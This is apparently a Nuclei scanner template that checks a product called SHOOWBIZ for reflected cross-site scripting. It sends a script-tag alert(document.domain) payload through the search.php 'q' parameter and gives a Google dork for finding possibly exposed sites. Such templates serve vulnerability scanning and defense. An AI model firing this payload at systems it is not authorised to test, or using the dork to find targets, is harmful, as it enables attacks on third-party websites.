id: shoowbiz-xss

info:
  name: SHOOWBIZ - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Cross-Site Scripting, is a type of security vulnerability commonly found in web applications. It occurs when an attacker injects malicious scripts (typically written in JavaScript) into web pages viewed by other users.
  reference:
    - https://www.exploitalert.com/view-details.html?id=36000
  metadata:
    verified: true
    max-request: 1
    google-query: inurl:"search.php?q="
  tags: shoowbiz,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search.php?q=%3CScRipT%3Ealert(document.domain);%3C/ScRipT%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<ScRipT>alert(document.domain);</ScRipT>")'
          - 'contains(body, "Search result in")'
        condition: and
# digest: 4a0a00473045022100e0b9aed00156e1a60931821de97c9df4d4dc82fc5ed48b5d186cdb6dd5ce367902202c126a5814131de2e6bf5065aac66e2d456e90decbbff7e3e98e651a28d0e182:922c64590222798bb761d5b6d8e72950